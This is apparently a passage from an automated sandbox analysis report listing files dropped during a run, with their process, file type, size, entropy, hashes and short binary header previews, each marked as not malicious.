Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<...R...R...R.......R...P...R.Rich..R.................PE..L..................!..
.......................................................0.......w....@.......................................... ..................................8............................................................................rdata......................
........@..@.rsrc........ ......................@..@....T...........T...8...8.......T...........$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01..... .......rsrc$02.... ...).#Acr.-.u.W7.
..\.4.i...uZ..T.....................................................................................................................................................................................................................................................
......................................................................

Process: C:\Windows\System32\Dism.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 4608

Entropy (8bit): 3.5868152469382832

Encrypted: false

SSDEEP: 96:XQt9FbyFAMLhFAgd+J8W8kyMLLyPEWNWSZWwX:XQt9wDlYOGWNWSZW4

MD5: A446E20ACD6F299D7DF5BCE5B0652E81

SHA1: CEB03A4A685333253B585EE978661B5CAAC26E0C

SHA-256: 59DF00782E610AFA162F168CBB7677483FFDDB2DDE4B78B2A2734AE59A268642

SHA-512: D929359E9981B10461E8BD5B9241AD1D52BA1DB0923B926BA719ECECB4DDC3AD812D8E1207838F6382DDE9F61A99AAF6306C6BE6F092390770AF6942A468027
4

Malicious: false

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<...R...R...R.......R...P...R.Rich..R.................PE..L..................!..
.......................................................0............@.......................................... ..................................8............................................................................rdata..............................@.
.@.rsrc........ ......................@..@..............T...8...8.................$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01.....!..(....rsrc$02.... ...y..y[...E$Q).g.g...|2...D.............
..............................................................................................................................................................................................................................................................................
..................................

Process: C:\Windows\System32\Dism.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 5120

Entropy (8bit): 3.376269651182996

C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\O ineSetupProvider.dll.mui

C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\ProvProvider.dll.mui

C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\SetupPlatformProvider.dll.mui
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Encrypted: false

SSDEEP: 96:JZlYgKFEK42hK+UKd2K0bKGSnk5KABKzSnkv7jh7rUC47j7AEWxXWwu:pH3UgRlI6rjap543lWxXWV

MD5: 405D05330961EF9C7B06816181336D67

SHA1: E81CA57E25BADC1FD30BEB3EBE622FC14C15E4B1

SHA-256: 2EFF6379F41D43A674739CEF6C73C7DF0D22E5DE33040EDEE36D092AEA769AA0

SHA-512: BE0E4EBC307F3B9C0168278520D20DD752C9EE0626DAABB321A40814A3BA07A04EAC3C98C0A730D271745DCD8CF8AE98F6038CC75707221715845F424D444A8
8

Malicious: false

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<...R...R...R.......R...P...R.Rich..R.................PE..L..................!..
.......................................................0............@.......................................... ..................................8............................................................................rdata..............................@.
.@.rsrc........ ......................@..@................T...8...8...................$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01.....!..X....rsrc$02.... ...&I.{.......5.Yb,...C...te.8.......
..............................................................................................................................................................................................................................................................................
........................................

Process: C:\Windows\System32\Dism.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 2560

Entropy (8bit): 3.3213272882417857

Encrypted: false

SSDEEP: 24:eH1GSlT4CF+RqCN12tQWIZW0rlArNtf94dU35WWdPPYPNxa:yWCgXz6hIZWQlAxt+dK5WwHgU

MD5: 5E1C7B27AD833658BAD79FB941B27D0D

SHA1: CE0E97756238A236AB6BCE8F3A4C24154E2645F2

SHA-256: 4C1B66DEB8EC04ACD5BA5758D4029B1F2AC57473E28FB59B295DED10E63509D3

SHA-512: 681E585C3B9F583867C2B2DC03E896515BA1C23B367EDBDA8BFA773791F8A9FF83B7E79DB96B6CAF9625B7FA3EEF7561544A3B7D2EC1C789B4425B51D594E1
B6

Malicious: false

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<...R...R...R.......R...P...R.Rich..R.................PE..L..................!..
.......................................................0............@.......................................... ..|...............................8............................................................................rdata..............................@.
.@.rsrc........ ......................@..@.....Z.J........T...8...8........Z.J........$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01..... .......rsrc$02.... ......+..\..:....E..g.....m...Z.J....
..............................................................................................................................................................................................................................................................................
......................................

Process: C:\Windows\System32\Dism.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 3072

Entropy (8bit): 3.6388809306910965

Encrypted: false

SSDEEP: 48:yzvdBISeZviUtBIZWO6fZtkv+evTK5WwHgV:htHEWdfQGe+WwC

MD5: CC82E916B31742E5D9428A6F87B62866

SHA1: A450E15D0E41A64B8B4AA2A1D25E322F500D98AE

SHA-256: 30741F1B651C73C513713FB1B2771A5DB6F881E8288871A010220D6E2B5F1E98

SHA-512: D866F294FE32A88220E5339AA3345AE621C421D4BBBE2CC63140D4B40CED88FF4D3A9128552039E7B62DBA20831617CC8E8FC7B96B2B140BB54A8BAE67CF25
CF

Malicious: false

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<...R...R...R.......R...P...R.Rich..R.................PE..L..................!..
.......................................................0.......l....@.......................................... ..................................8............................................................................rdata..............................@.
.@.rsrc........ ......................@..@......,]........T...8...8.........,]........$...................8....rdata..8...x....rdata$zzzdbg.... .. ....rsrc$01.... !.......rsrc$02.... ...!.r.S..........li....&..,...,]....
..............................................................................................................................................................................................................................................................................
......................................

Process: C:\Windows\System32\Dism.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 17408

Entropy (8bit): 3.556648450360297

Encrypted: false

SSDEEP: 384:NwVXFYiKdshYuUljq9ZBjEx2F2u00ytv8drwz5Kfo9IT5p9bfL0rdrBhrPZgmvwT:NwVXFYiKdshYuUljYZBjExk2u00ytv87

MD5: 83EC9C5FBD4EAF1CC0919E50B26FF3BA

C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\SmiProvider.dll.mui

C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\SysprepProvider.dll.mui

C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\TransmogProvider.dll.mui
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SHA1: CE15695CADB8B0987560665194EE46D6CF457D14

SHA-256: 341C37E3EB2333CEDC0AFB938BEA28B92C2CDEC07ED8DEBED803E0B1DBB4CBC6

SHA-512: F2F3AF74C863E0D770B0DF04B17023BBB1B189A1CD68145A7B5E3B551BF1D1C00B402D3A3ADB9D3C8C875C729D942289ACB52EB7646D989749B906DAB287CD
57

Malicious: false

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<...R...R...R.......R...P...R.Rich..R.................PE..L..................!..
.......B...............................................`............@.......................................... ..P>..............................8............................................................................rdata......................
........@..@.rsrc....@... ...@..................@..@....o`..........T...8...8.......o`..........$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01....."...;...rsrc$02.... ....]0.3i....lB..
.IN...t....o`.......................................................................................................................................................................................................................................................
...................................................................

Process: C:\Windows\System32\Dism.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 5120

Entropy (8bit): 3.688670244799157

Encrypted: false

SSDEEP: 48:yIK/+1FX3/zNs8l8kBcxRKlQILO5A222QKl7OTRIZWQlAptoPy5WwHgc:r3bNqkYkQIy522QuiVEWiaWwT

MD5: B1400D586F41DFDD8F3327D5824688EE

SHA1: C69A111CD9A2FAAC10534F5FDB9FBC24A742FA2E

SHA-256: 7D9970A337F4FFA848ED925D6D6000FAAF42564888779042E5FEF4FD3A676DE6

SHA-512: 1B182F8A4DA3BC3B3DE42DF8CD0838746C766935430C90CAA4A32F1B4459602007983791247001ADC47BB353F3B3EF84D5407C2AEA1FE689F731AA8D91EF69E2

Malicious: false

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<...R...R...R.......R...P...R.Rich..R.................PE..L..................!..
.......................................................0............@.......................................... ..8...............................8............................................................................rdata......................
........@..@.rsrc........ ......................@..@.......X........T...8...8..........X........$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01.....!.......rsrc$02.... .........o..).==.
.D.8.9{...p....X....................................................................................................................................................................................................................................................
....................................................................

Process: C:\Windows\System32\Dism.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 7168

Entropy (8bit): 3.4237660276393926

Encrypted: false

SSDEEP: 96:Tz2oKwO8hZOE5LzpJeaAUMNwnWu/ELv4+B/YRjI6e+EWQtWw9:Tz25XocEXJePUMGP/MB/YRjOTWQtW+

MD5: 1078D1279C7F11879C0EEAAFB995176A

SHA1: 6B69C5603BD8B0060F09C044669E95100FBB15BA

SHA-256: C714354E596BFD7EEF932416DC2A4AE68ADA8EF7E017930363822CC8FD323443

SHA-512: 10B1264C95830F826702512B62EF3FBBAA57E41A879115B2C1E9FC25ADCAB70E2D7B0CD3B6898A3B43C64A8863FC6EC98099FE77B0E15FDD9F6849F21E5DD4
A5

Malicious: false

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<...R...R...R.......R...P...R.Rich..R.................PE..L..................!..
.......................................................@.......V....@.......................................... ..................................8............................................................................rdata......................
........@..@.rsrc.... ... ......................@..@................T...8...8...................$...................8....rdata..8...x....rdata$zzzdbg.... ..@....rsrc$01....@!.......rsrc$02.... ...(_Rs..@.6N.b..
...c....J...f.................................................................................................................................................................................................................................................................
...........................................................

Process: C:\Windows\System32\Dism.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 27648

Entropy (8bit): 3.526157187933502

Encrypted: false

SSDEEP: 384:7EQsHE3IuApdiWQB46zDteyERtet3kLA5XJoH0sJn2WTMWO:7EQsk4uADiWQTzDEyEret3kL/Jo

MD5: 3282F6385F6CD46DCCB0F2D2771CE3B8

SHA1: 13FB94BFAD2783017918A776ACFA0D67A8987B04

SHA-256: AAF7F2D70C21989CADB371BF9442E4FFC73739AF40033660F0CC95789D15DF65

SHA-512: 53149FA8DE8FA1953B48F5E362636A93505514870B8A3D1C70148622626DFFAF8DA3AF351D27AA65B4CAB9E71F88CFA5B237E86E8932BBAA35AA4EB88B80AC1
8

C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\UnattendProvider.dll.mui

C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\VhdProvider.dll.mui

C:\Users\user\AppData\Local\Temp\2C080D93-A43D-48E9-B35B-3CDCFF964B60\en-US\WimProvider.dll.mui
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Malicious: false

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<...R...R...R.......R...P...R.Rich..R.................PE..L..................!..
.......j............................................................@.......................................... ..Hg..............................8............................................................................rdata......................
........@..@.rsrc....p... ...h..................@..@....a..!........T...8...8.......a..!........$...................8....rdata..8...x....rdata$zzzdbg.... .. ....rsrc$01.... #..Pd...rsrc$02.... .......r.O.e...FT
!.U.v..+3....a..!...................................................................................................................................................................................................................................................
.....................................................................

Process: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

File Type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows

Category: dropped

Size (bytes): 3584

Entropy (8bit): 3.0829517441151415

Encrypted: false

SSDEEP: 24:etGSu9pz1qlkCe745Q7GslPorCjvX5ekjV4gztkZfzY7y6Iv+BxOBWI+ycuZhN9R:62pqb927GslPtDRjyJufck1ulQa38q

MD5: 42B37117D5F2709984D772339AC2A2D2

SHA1: A5BD2CC7CC57075053928E0FCE3BE2CA97545027

SHA-256: BABECF4286E4FA2A8983599CAE5B1BA4F65FDCC7B14B2E67C5A24A1E097BB0FC

SHA-512: 5C1CB86BE69AAFD2EAA92DD3F510FB71A77A883E6F73D5C2D0BF878805C99B1A5D96F6A6E2B8174F6A5E0530B030A1691AFC14D6D89A27E3E058BEEEE804F
DE8

Malicious: false

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....*c...........!.................%... ...@....... ..................................
..@..................................$..K....@.......................`....................................................... ............... ..H............text...4.... ...................... ..`.rsrc........@......................@..@.rel
oc.......`......................@..B.................%......H........ ..4............................................................0..6....... ....s........o....(....,..o....r...pr...po....*~....*F.r...pr...po....*..(....*BSJB..
..........v4.0.30319......l.......#~..........#Strings............#US.........#GUID.......t...#Blob...........W=........%3............................................................................2.+...N.B.............
........0.....W.......+.............................Q.9.......... \.....P ......j...... ..

Process: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

File Type: MSVC .res

Category: dropped

Size (bytes): 652

Entropy (8bit): 3.0917515667789295

Encrypted: false

SSDEEP: 12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryPKFak7YnqqSKqPN5Dlq5J:+RI+ycuZhN9KFakSSKqPNnqX

MD5: 9A7CD29588A16358E0A2F4A12D939406

SHA1: AB16C58E0BB9DAB52C5DB3EA0C07D4893236551C

SHA-256: 4EE5CEF5A6AC7DF9FD1E5FC9D3FEA1AA589C9F222DB64408673AD887A972B282

SHA-512: E08EC09C7C935148800D7A9E848D7E13A7BDFBE68F131B5E6433EE519A4A7C507513215E934C568985C218F0A2F2ABC6B028A5DC93D2C0048742F7E82F7EBAD
0

Malicious: false

Preview: .... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............
S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...2.e.z.4.s.4.s.m...d.l.l.....(...
..L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...2.e.z.4.s.4.s.m...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...
0...0...0...

Process: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

File Type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows

Category: dropped

Size (bytes): 5120

Entropy (8bit): 3.7813141578213783

Encrypted: false

SSDEEP: 48:6WoPhmKraYZkH8KTibUyqSkwjj0JMC+CFSlwYX8c1ul1a3Jq:QDaAkHHoXk83CuX83K

MD5: 78F9CF4188AFED79A9D1CFB1ED911E94

SHA1: 5C64375CC8951178937EE9FD793852E5E60CD412

SHA-256: 74ADA7E3E72200852D6C06C5E864B2F7845C18E7FBD1ACDE34EEACF253499E73

SHA-512: 766A2CE4BEA79E80338E2283C11879B21A20FD8EF819F6053DEF5D763F938462329AAEFFA7CA3EB8979D370E8BEBC69A95F2B9B86DFAC0FD7FBF1CC20CB503
DD

Malicious: false

C:\Users\user\AppData\Local\Temp\2ez4s4sm\2ez4s4sm.dll

C:\Users\user\AppData\Local\Temp\2ez4s4sm\CSCC4857CBF94FC43E4BEE19B9FB307AC3.TMP

C:\Users\user\AppData\Local\Temp\3diak4dk\3diak4dk.dll
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Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....*c...........!................>*... ...@....... ..................................
..@..................................)..S....@.......................`....................................................... ............... ..H............text...D.... ...................... ..`.rsrc........@......................@..@.rel
oc.......`......................@..B................ *......H....... ".............................................................."..(....*J.#(....r...p(....*..(....*2~.....(....*....0.......... ....s..... ....s...............r;..p.........(......s
.............5.....".....5.....3+E...../...(.-...2.3+1...:3...+)....3...+....+...+...+...+...,...+...+......r;..p...o................ ...o.........+Y.......r=..p..o......1.r=..p..o..........+(r...p..o...........(........r...p(....
.....X.......i2..........(.........o........o....-.r...p....

Process: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

File Type: MSVC .res

Category: dropped

Size (bytes): 652

Entropy (8bit): 3.0963474320025477

Encrypted: false

SSDEEP: 12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5grymGak7YnqqrXPN5Dlq5J:+RI+ycuZhN1akSjPNnqX

MD5: E8BBC22E68446DB05DDC79878E12FF6B

SHA1: AC247D2C20A33B82187D735E18581E01CC67BBF8

SHA-256: CD40CC94ADF58F02F38C22FAF1C241DBE7788BA50C432B2E743C5FFC204604A8

SHA-512: 1B2A8A109F5FF4FA8CF74A56A27560E39E8D6B76F0897FB52BB4875A018C0B855FA9B6D396B3665774D440A1D5C558A50AC01AF1B4A89A5E4E00400EE2505AE
A

Malicious: false

Preview: .... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............
S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...3.d.i.a.k.4.d.k...d.l.l.....(...
..L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...3.d.i.a.k.4.d.k...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...
0...0...0...

Process: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

File Type: Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x4ae, 9 symbols

Category: dropped

Size (bytes): 1364

Entropy (8bit): 4.104325347107502

Encrypted: false

SSDEEP: 24:HyFC9A+6y/kO2HCQhKaFofeI+ycuZhNwGakSxXPNnq9Wd:ShLy85fKAom1ulwGa3xFq9m

MD5: 52C06F7B3E8D7A54A818062EA4405E42

SHA1: 471BD5C3C67021DD3A7FAC449882A525BC523DE0

SHA-256: 368F2CF7E7B7AAA48D085DF36D679859E149DFF2302DE835BF440F1C2FA70B7A

SHA-512: D8AF1B87786C7DA31C80367DE301ABE2D0CDD6C5CA7DD1CE2DC536197DC457C689352E38214D61D7A06BDA58E6C5831E128007208D52009CE664BE9A1CFB74
FA

Malicious: false

Preview: L.....*c.............debug$S........p...................@..B.rsrc$01........X.......T...........@..@.rsrc$02........P...^...............@..@........T....c:\Users\user\AppData\Local\Temp\vnii
k5rq\CSCFD2BA8049D364133B9FE5D3896759AE.TMP..................b..sZ..i.jI...........5.......C:\Users\user\AppData\Local\Temp\RES1F9B.tmp.-.<...................'...Microsoft 
(R) CVTRES...=..cwd.C:\Windows\TEMP\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f.exe.C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe...................
...........................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s
.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...v.n.i
.i.k.5.r.q...d.l.l.....(.....L.e.g.a.l.C.o.p.

Process: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

File Type: Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x4ae, 9 symbols

Category: dropped

Size (bytes): 1364

Entropy (8bit): 4.094362103204858

Encrypted: false

SSDEEP: 24:HCFC9A+6Y5JeHd6hKaFofeI+ycuZhN1akSjPNnq9Wd:ihLwe9QKAom1ul1a3Jq9m

MD5: 02B478212095031C1A530D6E1300FC69

SHA1: 2F64F4B1FC1E894497DEF71E1EDCAE636ECEC186

SHA-256: FEACA7B4975959D798B0CD1E53D6A6C5B7DE66972629071D48692DC27E3C5F75

SHA-512: 7A2EC76E96CFE23EA78D9552B270FD1E049DD37DF4BD2736DFBC9F29B962C3F82022D39EB36AFE673A53E3063D83F842FB74999341D0272D1A1A63CDA09894A
5

Malicious: false

C:\Users\user\AppData\Local\Temp\3diak4dk\CSC56B0CC0123154593BDAD723DDD27D88.TMP

C:\Users\user\AppData\Local\Temp\RES1F9B.tmp

C:\Users\user\AppData\Local\Temp\RES8678.tmp
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Preview: L.....*c.............debug$S........p...................@..B.rsrc$01........X.......T...........@..@.rsrc$02........P...^...............@..@........T....c:\Users\user\AppData\Local\Temp\3dia
k4dk\CSC56B0CC0123154593BDAD723DDD27D88.TMP..................hDm.].y....k..........5.......C:\Users\user\AppData\Local\Temp\RES8678.tmp.-.<...................'...Microsoft 
(R) CVTRES...=..cwd.C:\Windows\TEMP\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f.exe.C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe...................
...........................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s
.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...3.d.i
.a.k.4.d.k...d.l.l.....(.....L.e.g.a.l.C.o.p.

Process: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

File Type: Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x4ae, 9 symbols

Category: dropped

Size (bytes): 1364

Entropy (8bit): 4.096562310724051

Encrypted: false

SSDEEP: 24:HVFC9A+6ric9HJhKaFofeI+ycuZhN9KFakSSKqPNnq9Wd:1hLJ3KAom1ulQa38q9m

MD5: 51A64C82A90140CFAD5CE78E21AF0374

SHA1: 003958356341E290DB8FAE4A9050B3E4BD0E886F

SHA-256: A94E107E5F7E0BE0AB4FB91ADB9C0EC6C490018E8AD5C92B650CC01B560DF8BA

SHA-512: 909AD85BBF56E9916A6DB9758A057ECAAF2FFD9C5FA784DC30E45B208EB2E59A8A880C389E2A903C4765BDA5FB44C2BA87EF22775CC987E243D829D89E712B
B9

Malicious: false

Preview: L.....*c.............debug$S........p...................@..B.rsrc$01........X.......T...........@..@.rsrc$02........P...^...............@..@........T....c:\Users\user\AppData\Local\Temp\2ez4
s4sm\CSCC4857CBF94FC43E4BEE19B9FB307AC3.TMP................|...cX...-.............5.......C:\Users\user\AppData\Local\Temp\RESA72F.tmp.-.<...................'...Microsoft 
(R) CVTRES...=..cwd.C:\Windows\TEMP\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f.exe.C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe..........
....................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.
l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...2.e.z.
4.s.4.s.m...d.l.l.....(.....L.e.g.a.l.C.o.p.

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: very short file (no magic)

Category: dropped

Size (bytes): 1

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3:U:U

MD5: C4CA4238A0B923820DCC509A6F75849B

SHA1: 356A192B7913B04C54574D18C28D46E6395428AB

SHA-256: 6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B

SHA-512: 4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA4651
0A

Malicious: false

Preview: 1

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: very short file (no magic)

Category: dropped

Size (bytes): 1

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3:U:U

MD5: C4CA4238A0B923820DCC509A6F75849B

SHA1: 356A192B7913B04C54574D18C28D46E6395428AB

SHA-256: 6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B

SHA-512: 4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA4651
0A

Malicious: false

Preview: 1

Process: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

C:\Users\user\AppData\Local\Temp\RESA72F.tmp

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jg5bteof.tz5.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zxw3el1z.0aw.psm1

C:\Users\user\AppData\Local\Temp\vniik5rq\CSCFD2BA8049D364133B9FE5D3896759AE.TMP
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File Type: MSVC .res

Category: dropped

Size (bytes): 652

Entropy (8bit): 3.0981837284597513

Encrypted: false

SSDEEP: 12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryviGak7Ynqq0iXPN5Dlq5J:+RI+ycuZhNwGakSxXPNnqX

MD5: 07E2B1C96284D9735A9EF869146A49D4

SHA1: E445DCBF080D67C9BB0BD61B028CC991FB3FE364

SHA-256: 341638A95566A3205717667218C665308B2695865A10FCF4312C03E198A05278

SHA-512: 3B48BD1C716CCA9D94FBF198DF483B8B469EBA4D95211D5CAB7CDD3027446ABB8F2D2451FAEABB30C3AF0203C394C861706812F5EAF58640E30F3B34474486F
0

Malicious: false

Preview: .... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............
S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...v.n.i.i.k.5.r.q...d.l.l.....(...
..L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...v.n.i.i.k.5.r.q...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0.
..

Process: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

File Type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows

Category: dropped

Size (bytes): 9728

Entropy (8bit): 4.796497699844383

Encrypted: false

SSDEEP: 96:IKqedmYoNKvUTCSH3gR8H8FgwSHwBIkwZYPaSJ365O/ieMjQZaXgRnIj9K:5ElNK8TCSfHyPIkwZ+vKOUQZdnt

MD5: D4E50060BB198E6F9AC599955304097C

SHA1: 82F93B9F266CE2258C8D02B283D7D7740403EDDD

SHA-256: EE45C00E414D9CFB039B7A744CACBF694B5F9A94BB23E832C303149615BCBD62

SHA-512: 6782AFDAA5639341ACBCAC16C91BA9804155DC95CAF0F27FC4ADCF108B96D3AB28DE4EE751E26C88604A8AD328CA78BED305DB10A41A3C1A41C9A38507ACF
B44

Malicious: false

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....*c...........!................^<... ...@....... ..................................
..@..................................<..K....@.......................`....................................................... ............... ..H............text...d.... ...................... ..`.rsrc........@....... ..............@..@.rel
oc.......`.......$..............@..B................@<......H........$..4............................................................0..%....... ....s.....r...p.(....,..o....*~....*....0..!....... ....s.......(....,..o....*~....*....0......
.....(....s......o.........o....*....0..@....... ....s..... ....s........(....s.......o....o....&..o....o....&.*.0...........,.. .+.....o.....+).o......t....~....(....,...t.......(....&.o....-....u........,...o......o......+*..o..
....t....~....(....,...t.......(....&..o....-.....u........,...o.....*

Process: C:\Windows\Temp\SDIAG_ddb55b0c-cd91-4e41-8c7d-9e294f93993f\Putty.exe

File Type: ASCII text

Category: dropped

Size (bytes): 3987500

Entropy (8bit): 4.0110114531289485

Encrypted: false

SSDEEP: 49152:DafG4adBZfUJczDMlXCbuxCCAjnk+AS3IDTN5v6iuXTvz:J

MD5: C72911DEC6AE8C4BC62BB2A6A21BA85B

SHA1: 0AE7077313A53103C2B32100D74AAFC04216289D

SHA-256: 7E777EFC194EA9788171636085B19875D19397D3249FBB88136534037A3DC38F

SHA-512: 99DC9761AD69F5508D96A2362B930728D451F5DDCF7BB1E210EC5B0F14EE00EE71EFAAAB150FFA16A2F92FBBB1E2A6B5CD92D51721996DF7AC794491C441C3
04

Malicious: false

